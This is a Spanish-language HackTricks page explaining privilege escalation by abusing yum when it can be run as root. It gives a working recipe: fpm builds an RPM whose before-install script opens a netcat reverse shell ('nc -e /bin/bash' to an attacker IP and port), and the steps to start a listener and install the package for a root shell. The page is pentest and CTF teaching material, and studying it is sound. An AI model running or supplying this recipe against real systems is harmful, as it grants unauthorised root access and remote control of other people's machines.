hacktricks/linux-unix/privilege-escalation/exploiting-yum.md

3.8 KiB

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Puedes encontrar más ejemplos sobre yum en gtfobins.

Ejecución de comandos arbitrarios a través de paquetes RPM

Verificando el Entorno

Para aprovechar este vector, el usuario debe poder ejecutar comandos yum como un usuario con mayores privilegios, es decir, root.

Un ejemplo funcional de este vector

Un ejemplo funcional de este exploit se puede encontrar en la sala daily bugle en tryhackme.

Empaquetando un RPM

En la siguiente sección, cubriré cómo empaquetar una shell inversa en un RPM usando fpm.

El ejemplo a continuación crea un paquete que incluye un disparador antes de la instalación con un script arbitrario que puede ser definido por el atacante. Cuando se instala, este paquete ejecutará el comando arbitrario. He usado un simple ejemplo de shell inversa netcat para la demostración, pero esto puede ser cambiado según sea necesario.

EXPLOITDIR=$(mktemp -d)
CMD='nc -e /bin/bash <ATTACKER IP> <PORT>'
RPMNAME="exploited"
echo $CMD > $EXPLOITDIR/beforeinstall.sh
fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR

Capturando una shell

Usando el ejemplo anterior y asumiendo que yum puede ser ejecutado como un usuario con mayores privilegios.

  1. Transfiere el rpm al host
  2. Inicia un listener en tu host local como el ejemplo de listener netcat
  3. Instala el paquete vulnerable yum localinstall -y exploited-1.0-1.noarch.rpm
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: